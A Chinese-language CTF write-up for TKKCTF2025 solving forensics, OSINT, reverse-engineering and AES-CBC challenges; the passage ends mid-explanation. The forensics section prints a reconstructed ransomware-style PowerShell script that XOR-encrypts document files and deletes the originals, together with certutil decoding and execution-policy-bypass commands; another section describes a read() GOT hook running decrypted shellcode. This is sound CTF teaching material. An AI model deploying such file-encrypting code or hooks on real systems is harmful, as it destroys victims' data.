TKKCTF2025 wp
by 🧑🚀 Madel1ne on 2025/12/08
Misc
Gamer
题目描述:
据说爱玩游戏的人运气都不错…除非你被卫继龚盯上 = =
1. 分析日志文件
首先将 Logs.evtx 导出为可读的 txt 格式:
Get-WinEvent -Path "Logs.evtx" | ForEach-Object { $_.ToXml() } | Out-File -FilePath "logs_output.txt" -Encoding UTF8
2. 发现攻击链
通过分析日志中的进程创建事件(EventID=1),发现以下攻击链:
- 用户执行了
system_fix.bat批处理文件 - 批处理调用 PowerShell 将多段 Base64 编码内容写入
b.dat文件 - 使用
certutil -decode b.dat wZ9sr3v3n93p14n.ps1解码生成恶意脚本 - 执行恶意 PowerShell 脚本加密文件
关键命令行记录:
certutil -decode b.dat wZ9sr3v3n93p14n.ps1
powershell -ExecutionPolicy Bypass -File wZ9sr3v3n93p14n.ps1
3. 提取恶意脚本
从日志中提取所有写入 b.dat 的 Base64 片段,将以下内容保存为 extract.ps1 后执行:
$events = Get-WinEvent -Path "Logs.evtx" | Where-Object { $_.Id -eq 1 } | ForEach-Object {
$xml = [xml]$_.ToXml()
$cmdLine = ($xml.Event.EventData.Data | Where-Object { $_.Name -eq "CommandLine" }).'#text'
$time = $_.TimeCreated
if ($cmdLine -match "Out-File.*b\.dat") {
if ($cmdLine -match "'([^']+)'\s*\|\s*Out-File") {
[PSCustomObject]@{
Time = $time
Base64 = $matches[1]
}
}
}
} | Sort-Object Time
$combined = ($events | ForEach-Object { $_.Base64 }) -join ""
$decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($combined))
$decoded | Out-File -FilePath "malware_script.ps1" -Encoding UTF8
4. 分析加密算法
运行 extract.ps1 后会得到一个叫 malware_script.ps1 的还原脚本,内容如下:
# Banner: "TKKC SEC HAS BEEN COMPROMISED..."
$x99Qq = "VEtLQyBTRUMgSEFTIEJFRU4gQ09NUFJPTUlTRUQgQlkgV0VJIEpJR09ORyAo5Y2r57un6b6aKQoqIFdoYXQgaGFwcGVuZWQ/ClRoaXMgaXMgbXkgcmV2ZW5nZSBhZ2FpbnN0IFRLS0MgU2VjLiBZb3VyIGFycm9nYW5jZSBoYXMgbGVkIHRvIHRoaXMuCkksIFdlaSBKaWdvbmcsIGhhdmUgZW5jcnlwdGVkIGFsbCB5b3VyIGNyaXRpY2FsIGZpbGVzLgoqIENhbiBJIHJlY292ZXIgdGhlbT8KSXQgaXMgaW1wb3NzaWJsZSB3aXRob3V0IG15IHByaXZhdGUga2V5LiBEbyBub3Qgd2FzdGUgeW91ciB0aW1lLgoqIEhvdyB0byBmaXggdGhpcz8KQWRtaXQgeW91ciBkZWZlYXQgdG8gV2VpIEppZ29uZy4gWW91IGhhdmUgMjQgaG91cnMgYmVmb3JlIGRhdGEgbG9zcy4="
# Display Banner Function
function f_sh0w {
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($x99Qq))
}
# Extensions: *.txt *.doc *.docx *.pdf
$j11Wz = "Ki50eHQgKi5kb2MgKi5kb2N4ICoucGRm"
function f_lst {
return (f_dec $j11Wz).Split(" ")
}
# Decode Function
function f_dec {
param([string]$in)
return [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($in))
}
# Key 1
$p44Lm = "VGtrY1NlY1Byb3RlY3RzVGFuS2FoS2VlQ29sbGVnZQ=="
# Key 2
$o55Nr = "aWN0b3J5SXNPdXJzTG9ubGl2ZVRvdGhlQ1RG"
$u88Ty = f_dec $p44Lm
$i33Er = f_dec $o55Nr
$h77Vn = @{}
For ($z = 65; $z -le 90; $z++) {
$h77Vn[([char]$z)] = if($z -eq 90) { [char]65 } else { [char]($z + 1) }
}
For ($z = 97; $z -le 122; $z++) {
$h77Vn[([char]$z)] = if($z -eq 122) { [char]97 } else { [char]($z + 1) }
}
For ($z = 48; $z -le 57; $z++) {
$h77Vn[([char]$z)] = if($z -eq 57) { [char]48 } else { [char]($z + 1) }
}
function f_crpt {
param([byte[]]$b_src, [byte[]]$k_a, [byte[]]$k_b)
$res = [byte[]]::new($b_src.Length)
for ($i = 0; $i -lt $b_src.Length; $i++) {
$v1 = $k_a[$i % $k_a.Length]
$v2 = $k_b[$i % $k_b.Length]
$res[$i] = $b_src[$i] -bxor $v1 -bxor $v2
}
return $res
}
function f_proc {
param([byte[]]$raw, [string]$s_a, [string]$s_b)
if ($raw -eq $null -or $raw.Length -eq 0) {
return $null
}
$bk_a = [System.Text.Encoding]::UTF8.GetBytes($s_a)
$bk_b = [System.Text.Encoding]::UTF8.GetBytes($s_b)
$out_b = f_crpt $raw $bk_a $bk_b
return [System.Convert]::ToBase64String($out_b)
}
function f_exec {
param([switch]$go)
try {
if ($go) {
foreach ($ext in f_lst) {
$path = "dca01aq2/"
if (Test-Path $path) {
Get-ChildItem -Path $path -Recurse -ErrorAction Stop |
Where-Object { $_.Extension -match "^\.$ext$" } |
ForEach-Object {
$tgt = $_.FullName
if (Test-Path $tgt) {
$bin = [IO.File]::ReadAllBytes($tgt)
$fin = f_proc $bin $u88Ty $i33Er
[IO.File]::WriteAllText("$tgt.secured", $fin)
Remove-Item $tgt -Force
}
}
}
}
}
}
catch {}
}
if ($env:USERNAME -eq "developer56546756" -and $env:COMPUTERNAME -eq "Workstation5678") {
f_exec -go
f_sh0w
}
加密流程:
- 读取原始文件字节
- 使用两个密钥进行双重 XOR 加密
- 将加密结果进行 Base64 编码
- 保存为
.secured文件
5. 解密文件
由于 XOR 运算是自反的(A ⊕ B ⊕ B = A),使用相同密钥再次 XOR 即可解密:
# 解码密钥
function f_dec {
param([string]$in)
return [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($in))
}
$p44Lm = "VGtrY1NlY1Byb3RlY3RzVGFuS2FoS2VlQ29sbGVnZQ=="
$o55Nr = "aWN0b3J5SXNPdXJzTG9ubGl2ZVRvdGhlQ1RG"
$u88Ty = f_dec $p44Lm # TkkcSecProtectsTanKahKeeCollege
$i33Er = f_dec $o55Nr # ictoryIsOursLonliveTotheCTF
# 读取加密文件(Base64 编码)
$encryptedContent = Get-Content -Path "flag.pdf.secured" -Raw
# Base64 解码
$encryptedBytes = [System.Convert]::FromBase64String($encryptedContent)
# 获取密钥字节
$bk_a = [System.Text.Encoding]::UTF8.GetBytes($u88Ty)
$bk_b = [System.Text.Encoding]::UTF8.GetBytes($i33Er)
# XOR 解密
$decryptedBytes = [byte[]]::new($encryptedBytes.Length)
for ($i = 0; $i -lt $encryptedBytes.Length; $i++) {
$v1 = $bk_a[$i % $bk_a.Length]
$v2 = $bk_b[$i % $bk_b.Length]
$decryptedBytes[$i] = $encryptedBytes[$i] -bxor $v1 -bxor $v2
}
# 保存解密后的 PDF
[IO.File]::WriteAllBytes("flag.pdf", $decryptedBytes)
运行完成后打开pdf即可看到flag

Screen Shot
题目描述:
在协助警方清算一个黑市时,TKKC Sec研究团队发现了一台名为”卫继龚“的菜鸟黑客的随身电脑。从还原的内容看来,这个傻瓜甚至以为删掉了bash_history就没法还原他犯罪的全貌。
情报专家“小恐龙”对这段恢复的日志经过勘查后得出结论:”卫继龚“已在某国的帮助下乘坐一架军用直升机抵达了那个国家,并且能在Google Map上得到证实。于是,日理万机的“小恐龙”就决定把还原完整线索链的工作交给你,当作给你这个新人的锻炼。
找到这架军用直升机在Google Map上的具体经纬度坐标(坐标精确到小数点后4位) flag格式: xujc{经度(正数表示东经,负数表示西经)_纬度},如xujc{-11.1111_22.2222}
把题目附件和描述给gemini,第一次给了我一个错误的经纬度

虽然给的是错误的,但是可以追踪gemini给的经纬度,打开Google地图,搜索:
37.2480, -115.8147
可以看到右边有个黑色直升机

对着黑色直升机右键,把经纬度复制给Gemini修改

xujc{-115.8123_37.2471}
Reverse
Seal
题目描述:
刚刚在一台工程样机中提取出了这个奇怪的二进制文件。据说这是下一代 “Seal” 防护系统的核心组件
1. 文件识别
file chall
通过分析文件头,可以确认这是一个 ARM64 架构的 Mach-O 可执行文件(macOS/iOS 平台)
2. 字符串提取
import re
data = open('chall', 'rb').read()
print(f'File size: {len(data)} bytes')
# 提取长度>=4的可打印字符串
strings = re.findall(b'[\x20-\x7e]{4,}', data)
for s in strings:
print(s.decode())
输出关键字符串:
Wrong length!
Congratulations! The flag is correct.
Wrong flag! (Key used: 0x%lx)
Usage: %s <flag>
关键符号表信息:
anti_debug # 反调试函数
calculate_integrity_key # 计算完整性密钥
verify_flag # 验证flag函数
c_flag # 加密的flag数据
d_marker # 数据标记
3. 定位加密数据
data = open('chall', 'rb').read()
# __DATA 段通常在 0x8000 偏移
offset = 0x8000
encrypted_flag = data[offset:offset+33]
print('Encrypted flag bytes:')
print(' '.join(f'{b:02x}' for b in encrypted_flag))
输出:
Encrypted flag bytes:
ab a6 b9 b0 a8 be b2 b0 e3 e6 8c e7 a1 be e5 e7 8c e2 bd a7 e0 b4 a1 e2 a7 aa 8c b0 bb e0 b0 b8 ae
加密数据(32字节):
enc = [0xab, 0xa6, 0xb9, 0xb0, 0xa8, 0xbe, 0xb2, 0xb0,
0xe3, 0xe6, 0x8c, 0xe7, 0xa1, 0xbe, 0xe5, 0xe7,
0x8c, 0xe2, 0xbd, 0xa7, 0xe0, 0xb4, 0xa1, 0xe2,
0xa7, 0xaa, 0x8c, 0xb0, 0xbb, 0xe0, 0xb0, 0xb8, 0xae]
4. 加密算法分析
通过程序逻辑分析,加密方式为简单的 单字节 XOR 加密
暴力破解所有可能的 XOR key (0x00-0xFF):
enc = bytes([0xab, 0xa6, 0xb9, 0xb0, 0xa8, 0xbe, 0xb2, 0xb0,
0xe3, 0xe6, 0x8c, 0xe7, 0xa1, 0xbe, 0xe5, 0xe7,
0x8c, 0xe2, 0xbd, 0xa7, 0xe0, 0xb4, 0xa1, 0xe2,
0xa7, 0xaa, 0x8c, 0xb0, 0xbb, 0xe0, 0xb0, 0xb8, 0xae])
print("Trying single-byte XOR brute force...")
for key in range(256):
dec = bytes([b ^ key for b in enc])
# 筛选全部为可打印ASCII字符的结果
if all(32 <= c < 127 for c in dec):
print(f'Key 0x{key:02x}: {dec.decode()}')
输出:
D:\python\python.exe D:\agent_test\check_flag.py
Trying single-byte XOR brute force...
Key 0xc0: kfyph~rp#&L'a~%'L"}g ta"gjLp{ pxn
Key 0xc3: hezsk}qs %O$b}&$O!~d#wb!diOsx#s{m
Key 0xc5: nc|um{wu&#I"d{ "I'xb%qd'boIu~%u}k
Key 0xc8: cnqx`vzx+.D/iv-/D*uo(|i*obDxs(xpf
Key 0xc9: bopyaw{y*/E.hw,.E+tn)}h+ncEyr)yqg
Key 0xca: alszbtxz),F-kt/-F(wm*~k(m`Fzq*zrd
Key 0xcc: gju|dr~|/*@+mr)+@.qk,xm.kf@|w,|tb
Key 0xce: ehw~fp|~-(B)op+)B,si.zo,idB~u.~v`
Key 0xd0: {vi`xnb`36\7qn57\2mw0dq2wz\`k0`h~
Key 0xd2: ytkbzl`b14^5sl75^0ou2fs0ux^bi2bj|
Key 0xd3: xujc{mac05_4rm64_1nt3gr1ty_ch3ck} # flag
Key 0xd6: }pof~hdf50Z1wh31Z4kq6bw4q|Zfm6fnx
Key 0xda: q|cjrdhj9<V={d?=V8g}:n{8}pVja:jbt
Key 0xdb: p}bkseik8=W<ze><W9f|;oz9|qWk`;kcu
Key 0xdc: wzeltbnl?:P;}b9;P>a{<h}>{vPlg<ldr
Key 0xdd: v{dmucom>;Q:|c8:Q?`z=i|?zwQmf=mes
Key 0xdf: tyfowamo<9S8~a:8S=bx?k~=xuSod?ogq
进程已结束,退出代码为 0
当 XOR key = 0xD3 时,解密得到flag
Matzs Nightmare
题目描述: “今天我们宣布发布一款全新的编程语言:xujc!它完美的解决了C++迄今为止令人唾弃的内存管理问题……”
1. 查看文件类型
data = open('matzs', 'rb').read()
print(f"File size: {len(data)} bytes")
print(f"Magic bytes: {data[:4].hex()}")
输出:
D:\python\python.exe D:\agent_test\check.py
File size: 766984 bytes
Magic bytes: cffaedfe
进程已结束,退出代码为 0
cffa edfe 是 Mach-O 64-bit 的魔数,确认这是一个 macOS 可执行文件
2. 字符串分析
搜索二进制文件中的可读字符串:
import re
data = open('matzs', 'rb').read()
print(f'File size: {len(data)} bytes')
# 提取所有可打印字符串 (长度 >= 4)
strings = re.findall(b'[\x20-\x7e]{4,}', data)
print(f'Total strings found: {len(strings)}')
# 搜索关键字符串
print('\nSearching for keywords...')
keywords = ['flag', 'access', 'enter', 'xujc', 'irep', 'mruby', 'denied', 'granted']
for s in strings:
try:
decoded = s.decode('ascii')
decoded_lower = decoded.lower()
for kw in keywords:
if kw in decoded_lower:
print(f' [{kw}] {decoded}')
break
except:
pass
输出:
D:\python\python.exe D:\agent_test\check.py
File size: 766984 bytes
Total strings found: 5108
Searching for keywords...
[xujc] ^XUJC0000IREP
[access] Access Granted.
[access] Access Denied.
[mruby] Failed mruby core initialization
[irep] too many irep references
[irep] irep %p nregs=%d nlocals=%d pools=%d syms=%d reps=%d ilen=%d
[enter] ENTER
[flag] flag
[flag] flags
[enter] center
[mruby] mruby_Random
[enter] ArgumentError
[mruby] MRUBY_VERSION
[access] attr_accessor
[mruby] MRUBY_COPYRIGHT
[mruby] MRUBY_RELEASE_NO
[mruby] MRUBY_DESCRIPTION
[mruby] MRUBY_RELEASE_DATE
[mruby] too many local variables for binding (mruby limitation)
[mruby] mruby
[mruby] mruby 3.4.0 (2025-04-20)
[mruby] mruby - Copyright (c) 2010-2025 mruby developers
[irep] IREP
[irep] irep load error
[mruby] mruby-pack's bug
[mruby] too many upper procs for local variables (mruby limitation; maximum is 20)
[flag] flag after width
[flag] flag after precision
[access] illegal access mode %v
[access] illegal access mode %s
[irep] dd_irep
[irep] )ec_irep
[irep] :irep
[mruby] GENERATED_TMP_mrb_mruby_
进程已结束,退出代码为 0
发现的关键字符串:
- "Access Granted." (验证成功提示)
- "Access Denied." (验证失败提示)
- "^XUJC0000IREP" (mruby 字节码标识)
- "mruby 3.4.0" (mruby 版本信息)
题目名称 “Matzs” 暗示与 Ruby 创始人 Matsumoto 有关,结合 mruby 字符串,确认程序使用了 mruby 嵌入式 Ruby
3. 定位 mruby 字节码
搜索 mruby IREP (Intermediate Representation) 标识:
data = open('matzs', 'rb').read()
# 搜索 IREP 标识
irep_positions = []
pos = 0
while True:
pos = data.find(b'IREP', pos)
if pos == -1:
break
context = data[pos-20:pos+30]
print(f"IREP at 0x{pos:x}: {context}")
irep_positions.append(pos)
pos += 1
输出:
D:\python\python.exe D:\agent_test\check.py
IREP at 0x6deb4: b'RITE0300\x00\x00\x04^XUJC0000IREP\x00\x00\x03\xd30300\x00\x00\x00\xbc\x00\x04\x00\t\x00\x08\x00\x00\x00\x00\x00[V\x01'
IREP at 0x93589: b'25 mruby developers\x00IREP\x00LVAR\x00RITE\x0003\x0000\x00irep load'
进程已结束,退出代码为 0
在偏移 0x6deac 处发现 mruby 字节码头部 XUJC0000IREP
4. 分析数据段
检查 0x6e000 区域的数据结构:
data = open('matzs', 'rb').read()
irep_pos = data.find(b'XUJC0000IREP')
print(f'IREP at: 0x{irep_pos:x}')
# 查看 IREP 后面的数据结构
print('\nData after IREP header:')
irep_data = data[irep_pos:]
for i in range(0, 300, 50):
chunk = irep_data[i:i+50]
printable = ''.join(chr(b) if 32 <= b < 127 else '.' for b in chunk)
print(f' +0x{i:03x}: {printable}')
输出:
D:\python\python.exe D:\agent_test\check.py
IREP at: 0x6deac
Data after IREP header:
+0x000: XUJC0000IREP....0300...............[V..V..V..V..V.
+0x032: .V..V..H........./...'........./....../...W..0.../
+0x064: ...'...Q..-...%..Q..-...8.i.....Access Granted....
+0x096: .Access Denied......$ctx...call...zip...map...all?
+0x0c8: ...puts....-............4....../.....-B.8.......si
+0x0fa: ze....H............4....../....../.../...8.......c
进程已结束,退出代码为 0
发现的关键函数调用:
chars- 将字符串转换为字符数组each_slice- 将数组分成固定大小的块zip- 合并多个数组map- 映射操作all?- 检查所有元素是否满足条件
这些函数暗示程序将输入分块后进行某种变换和验证
5. 提取加密数据数组
data = open('matzs', 'rb').read()
# 在 0x6e000 区域发现数据数组
# mruby 字节码中数组格式: 03 [index] [value]
def extract_array(data, offset):
"""提取 mruby 字节码中的数组"""
values = []
pos = offset
while pos < offset + 50:
if data[pos:pos+2] == b'\x03\x04': # 数组开始
j = pos
while j < pos + 100:
if data[j] == 0x03 and data[j+1] < 20:
values.append(data[j+2])
j += 3
elif data[j] == 0x47: # 'G' 结束标记
break
else:
j += 1
break
pos += 1
return values
# 提取 5 个数组
offsets = [0x6e000, 0x6e07c, 0x6e0f8, 0x6e174, 0x6e1f0]
arrays = []
for offset in offsets:
arr = extract_array(data, offset)
arrays.append(arr)
print(f'Array at 0x{offset:x}: {arr}')
输出:
D:\python\python.exe D:\agent_test\check.py
Array at 0x6e000: [79, 66, 93, 84, 76, 19, 95, 104]
Array at 0x6e07c: [221, 154, 223, 155, 206, 245, 196, 153, 220]
Array at 0x6e0f8: [33, 96, 77, 54, 38, 107, 77, 101, 122]
Array at 0x6e174: [238, 175, 238, 130, 249, 181, 238, 130, 190]
Array at 0x6e1f0: [97, 56, 102, 10, 51, 39, 101, 56, 40]
进程已结束,退出代码为 0
6. 分析加密逻辑
# flag 以 "xujc{" 开头
# 第一个数组: [79, 66, 93, 84, 76, ...]
# 期望明文: ['x', 'u', 'j', 'c', '{', ...]
known_plaintext = "xujc{"
first_array = [79, 66, 93, 84, 76]
print("Finding XOR key:")
for i in range(len(known_plaintext)):
key = first_array[i] ^ ord(known_plaintext[i])
print(f" {first_array[i]} ^ '{known_plaintext[i]}' = {key}")
输出:
D:\python\python.exe D:\agent_test\check.py
Finding XOR key:
79 ^ 'x' = 55
66 ^ 'u' = 55
93 ^ 'j' = 55
84 ^ 'c' = 55
76 ^ '{' = 55
进程已结束,退出代码为 0
发现第一个数组的 XOR key = 55!
7. 暴力破解所有数组的 XOR key
arrays = [
[79, 66, 93, 84, 76, 19, 95, 104],
[221, 154, 223, 155, 206, 245, 196, 153, 220],
[33, 96, 77, 54, 38, 107, 77, 101, 122],
[238, 175, 238, 130, 249, 181, 238, 130, 190],
[97, 56, 102, 10, 51, 39, 101, 56, 40]
]
print("Brute-forcing XOR keys for each array:\n")
for i, arr in enumerate(arrays):
print(f"Array {i+1}: {arr}")
# 尝试所有可能的 key (0-255)
for key in range(256):
decrypted = [v ^ key for v in arr]
# 检查是否全部是可打印字符
if all(32 <= v < 127 for v in decrypted):
chars = ''.join(chr(v) for v in decrypted)
# 检查是否看起来像 flag 的一部分
if any(c.isalnum() or c in '_{}' for c in chars):
print(f" Key {key}: {chars}")
print()
输出:
D:\python\python.exe D:\agent_test\check.py
Brute-forcing XOR keys for each array:
Array 1: [79, 66, 93, 84, 76, 19, 95, 104]
Key 33: nc|um2~I
Key 35: la~wo0|K
Key 36: kfyph7{L
Key 37: jgxqi6zM
Key 38: id{rj5yN
Key 39: hezsk4xO
Key 40: gju|d;w@
Key 41: fkt}e:vA
Key 42: ehw~f9uB
Key 44: cnqx`?sD
Key 45: bopya>rE
Key 46: alszb=qF
Key 47: `mr{c<pG
Key 49: ~sle}"nY
Key 50: }pof~!mZ
Key 52: {vi`x'k\
Key 53: zwhay&j]
Key 54: ytkbz%i^
Key 55: xujc{$h_
Key 56: wzelt+gP
Key 57: v{dmu*fQ
Key 58: uxgnv)eR
Key 59: tyfow(dS
Key 60: s~ahp/cT
Key 62: q|cjr-aV
Key 63: p}bks,`W
Array 2: [221, 154, 223, 155, 206, 245, 196, 153, 220]
Key 161: |;~:oTe8}
Key 164: y>{?jQ`=x
Key 165: x?z>kPa<y
Key 166: {<y=hSb?z
Key 167: z=x<iRc>{
Key 168: u2w3f]l1t
Key 169: t3v2g\m0u
Key 170: w0u1d_n3v
Key 171: v1t0e^o2w
Key 172: q6s7bYh5p
Key 173: p7r6cXi4q
Key 174: s4q5`[j7r
Key 175: r5p4aZk6s
Key 176: m*o+~Et)l
Key 178: o(m)|Gv+n
Key 179: n)l(}Fw*o
Key 180: i.k/zAp-h
Key 181: h/j.{@q,i
Key 182: k,i-xCr/j
Key 183: j-h,yBs.k
Key 184: e"g#vM|!d
Key 185: d#f"wL} e
Key 186: g e!tO~#f
Key 188: a&c'rIx%`
Key 189: `'b&sHy$a
Key 190: c$a%pKz'b
Key 191: b%`$qJ{&c
Array 3: [33, 96, 77, 54, 38, 107, 77, 101, 122]
Key 0: !`M6&kMez
Key 1: aL7'jLd{
Key 2: #bO4$iOgx
Key 3: "cN5%hNfy
Key 4: %dI2"oIa~
Key 6: 'fK0 mKc|
Key 7: &gJ1!lJb}
Key 8: )hE>.cEmr
Key 9: (iD?/bDls
Key 10: +jG<,aGop
Key 11: *kF=-`Fnq
Key 12: -lA:*gAiv
Key 13: ,m@;+f@hw
Key 14: /nC8(eCkt
Key 15: .oB9)dBju
Key 16: 1p]&6{]uj
Key 17: 0q\'7z\tk
Key 18: 3r_$4y_wh
Key 19: 2s^%5x^vi
Key 21: 4uX#3~Xpo
Key 22: 7v[ 0}[sl
Key 23: 6wZ!1|Zrm
Key 24: 9xU.>sU}b
Key 25: 8yT/?rT|c
Key 27: :{V-=pV~a
Key 28: =|Q*:wQyf
Key 29: <}P+;vPxg
Key 30: ?~S(8uS{d
Array 4: [238, 175, 238, 130, 249, 181, 238, 130, 190]
Key 192: .o.B9u.B~
Key 194: ,m,@;w,@|
Key 195: -l-A:v-A}
Key 196: *k*F=q*Fz
Key 197: +j+G<p+G{
Key 198: (i(D?s(Dx
Key 199: )h)E>r)Ey
Key 200: &g&J1}&Jv
Key 201: 'f'K0|'Kw
Key 203: %d%I2~%Iu
Key 204: "c"N5y"Nr
Key 205: #b#O4x#Os
Key 206: a L7{ Lp
Key 207: !`!M6z!Mq
Key 209: ?~?S(d?So
Key 210: <}<P+g<Pl
Key 211: =|=Q*f=Qm
Key 212: :{:V-a:Vj
Key 213: ;z;W,`;Wk
Key 214: 8y8T/c8Th
Key 215: 9x9U.b9Ui
Key 216: 6w6Z!m6Zf
Key 217: 7v7[ l7[g
Key 218: 4u4X#o4Xd
Key 219: 5t5Y"n5Ye
Key 220: 2s2^%i2^b
Key 221: 3r3_$h3_c
Key 222: 0q0\'k0\`
Key 223: 1p1]&j1]a
Array 5: [97, 56, 102, 10, 51, 39, 101, 56, 40]
Key 64: !x&Jsg%xh
Key 65: y'Krf$yi
Key 66: #z$Hqe'zj
Key 67: "{%Ipd&{k
Key 68: %|"Nwc!|l
Key 69: $}#Ovb }m
Key 70: '~ Lua#~n
Key 72: )p.B{o-p`
Key 73: (q/Czn,qa
Key 74: +r,@ym/rb
Key 75: *s-Axl.sc
Key 77: ,u+G~j(ue
Key 78: /v(D}i+vf
Key 79: .w)E|h*wg
Key 80: 1h6Zcw5hx
Key 81: 0i7[bv4iy
Key 82: 3j4Xau7jz
Key 83: 2k5Y`t6k{
Key 84: 5l2^gs1l|
Key 85: 4m3_fr0m}
Key 86: 7n0\eq3n~
Key 89: 8a?Sj~<aq
Key 90: ;b<Pi}?br
Key 91: :c=Qh|>cs
Key 92: =d:Vo{9dt
Key 93: <e;Wnz8eu
Key 94: ?f8Tmy;fv
Key 95: >g9Ulx:gw
进程已结束,退出代码为 0
其中:
Array 1: Key 55 -> xujc{$h_
Array 2: Key 170 -> w0u1d_n3v
Array 3: Key 18 -> 3r_$4y_wh
Array 4: Key 221 -> 3r3_$h3_c
Array 5: Key 85 -> 4m3_fr0m}
组合起来获得:xujc{$h_w0u1d_n3v3r_$4y_wh3r3_$h3_c4m3_fr0m}
这里尝试交了,发现不对
按照leet speak,应该说的是she would never say where she came from
xujc{$h_w0u1d_n3v3r_$4y_wh3r3_$h3_c4m3_fr0m} # 原
xujc{$h3_w0u1d_n3v3r_$4y_wh3r3_$h3_c4m3_fr0m} # 开头加个3
提交:xujc{$h3_w0u1d_n3v3r_$4y_wh3r3_$h3_c4m3_fr0m}发现对了
Deep Sea
题目描述:
“大海从不沉默,它只是在等待懂得倾听的人。” — 雅克·库斯托 在暗无天日的马里亚纳海沟深处,部署着代号为 “DeepSea” 的声呐监听阵列。它忠实地执行着常规的探测任务,日复一日地记录着洋流与鲸歌。 然而,分析师们在它的信号中察觉到了一丝不谐和的杂音——那是一种经过精心伪装的静默。代码的表象之下,似乎涌动着另一股暗流…
用IDA打开libcomm.so文件
1. 触发逻辑与密钥计算 (sub_260B)
函数 sub_260B 是程序的触发点
- 字符串解密:它首先定义了一个加密字符串 `EFFQTFB\PWFSSJEG”,然后通过循环v3[i] = name[i] - 1 进行解密
E- 1 =DF- 1 =E- …
- 解密后的字符串为:
DEEPSEA_OVERRIDE
- 触发条件:程序检查环境变量
getenv("DEEPSEA_OVERRIDE")是否存在。如果存在,才会继续执行 - 计算密钥:代码计算该字符串(
DEEPSEA_OVERRIDE)所有字符ASCII值的总和,作为后续解密的密钥a1- 计算:
D(68) + E(69) + E(69) + P(80) + S(83) + E(69) + A(65) + _(95) + O(79) + V(86) + E(69) + R(82) + R(82) + I(73) + D(68) + E(69) - 总和 = 1206
- 取低8位(char):
1206 & 0xFF = 0xB6 - XOR密钥为
0xB6
- 计算:
2. 代码自解密与Hook (sub_23E5)
函数 sub_23E5 负责加载和解密Shellcode
- Hook准备:它调用
sub_21AB获取read函数的地址(这通常是修改GOT表项)。 - 解密Shellcode:
- 它申请了一块内存(
mmap),将数据byte_1189复制进去。 - 使用计算出的密钥
0xB6对这块内存进行 XOR解密。
- 它申请了一块内存(
- 安装Hook:它将
read函数的地址替换为这块解密后的Shellcode地址。这意味着当程序下次调用read时,实际上会执行我们的Shellcode
3. Shellcode 分析
解密后的Shellcode(通过Python脚本提取并反汇编)包含以下核心逻辑:
- 保存上下文:
push保存寄存器 - 调用原read:代码中有一段
call指令去执行原始的read功能(或者通过滑板指令跳过填充区),获取用户输入 - 检查前缀:
- 它检查输入的缓冲区是否包含特定的魔术头
- 反汇编显示:
cmp DWORD PTR [rbx], 0x636a7578 0x636a7578是小端序,对应ASCII为xujc
- 校验Flag:
- 代码随后进入一个循环,验证剩余的输入
- 验证算法为:
input[i] ^ table[i] == i - 即:
flag[i] = table[i] ^ i table位于Shellcode末尾(偏移量0x1000处)
4. 解题脚本
import struct
# 1. 原始加密数据 (byte_1189)
# 开头的 db 数据
data_head = [0xF7, 0xE1, 0xF7, 0xE0, 0xF7, 0xE3, 0xF7]
# 中间的 dq 数据 (注意 dq 是小端序,需要转换)
dq_vals = [
0x3FBE5A35FEE5E3E2, 0x5E633FFE433FFF4D, 0x35723FFFB6B6B7FB,
0xCE7633FEE3C3B74D, 0xB24E35FE713FFFE6, 0xFA4AB3C23BFBF1C0,
0xFEBF5D5BB7FA5D3F, 0x87C2458FFAB77535, 0x59C3D5DCC3CE8D37,
0x3FFE689FFE583FFE, 0x7633B6B6B69B5E69, 0xB6B6084C3FFA6BC2,
0xB6EA5E593FFAB6B6, 0x4949497271FFB6B6, 0xBE7235FE563FFA49,
0xE8F7EBF7EAF7EBED, 0xB6B6B6B60E75E9F7, 0xFEB6B6B9DCBB3BFE,
0xB1A200B993C24033, 0xFE6408B9FEB7A284, 0xB77635FEAAC3748F,
0x4E35FEBBC2708FFE, 0xB6B6B6B70E57C394, 0x75B6B6B6B60E7575,
0x33FE75B6B6B6B60E, 0xB7FE4E3FFEA4C264, 0xB77635FE863EF661,
0xE0F77542C34E8FFE, 0x3FF7E5E3E2F7E3F7, 0x3FFE6E92C23FFE4D,
0x5E92FA3FFE5692E2, 0xFA3FFA4692F23FFA, 0xFE8692F23BFE4E92,
0x92F23BFE7692F23F, 0x3FFE7E92F23FFE66, 0xFB7A3FFF633FFE45,
0xB6860E92F271733F, 0xFA3DFE783FFBB6B6, 0x3FFEBEF73BFE7692,
0x3FFE6E3FF27692F2, 0xFB543FFA583FFE69, 0xBF3DFA463FFB5C3F,
0x6E3FFA753FFFB3B9, 0xE8F7EBF7EAF7EBED, 0x3F443FFE673FFE75,
0xB60EB6B6B6B60948, 0x494949D05EB6B6B6, 0xB6B6B6B6B6B6B675
]
data_dq = b"".join(struct.pack("<Q", x) for x in dq_vals)
# 重复数据块 (dq 1CFh dup(...))
dup_block = struct.pack("<Q", 0xB6B6B6B6B6B6B6B6) * 0x1CF
# 剩余的 dq 数据
dq_rem_vals = [
0x83D7C9D6DEC2CEB6, 0x89E48E8E89E0CE82, 0x97D391C6D69491D7, 0x9F9E9EC0F3C19E90
]
data_dq_rem = b"".join(struct.pack("<Q", x) for x in dq_rem_vals)
# 结尾的 db 数据
data_tail = [0x9A, 0xE4, 0xEA]
# 拼接完整密文
full_cipher = bytes(data_head) + data_dq + dup_block + data_dq_rem + bytes(data_tail)
# 2. 解密 (XOR Key = 0xB6)
key = 0xB6
decrypted = bytearray(b ^ key for b in full_cipher)
# 3. 提取 Table 并计算 Flag
# Table 位于解密数据的 0x1000 偏移处,长度为 34 (0x22)
table_offset = 0x1000
flag_len = 34
table = decrypted[table_offset : table_offset + flag_len]
flag = ""
for i in range(flag_len):
# 算法: flag[i] = table[i] ^ i
flag += chr(table[i] ^ i)
print(f"Flag: {flag}")

Crypto
Secure Vault
题目描述:
他们说 AES 是对称加密算法,所以加密和解密本质上是一样的,对吧?
这是一道基于 AES-CBC 模式的密码学挑战。虽然代码看起来像是加密服务,但存在一个严重的逻辑漏洞,导致我们可以利用“Padding Oracle”类的攻击思路来逐字节还原 API_SECRET
1. 核心漏洞分析
错误的加密操作:
在 encrypt_session 函数中,原本应该调用 cipher.encrypt(padded_payload),但代码错误地调用了 cipher.decrypt(padded_payload)
return cipher.decrypt(padded_payload)
这意味着服务器在做 AES-CBC 解密
利用 CBC 解密性质:
AES-CBC 解密的公式为:
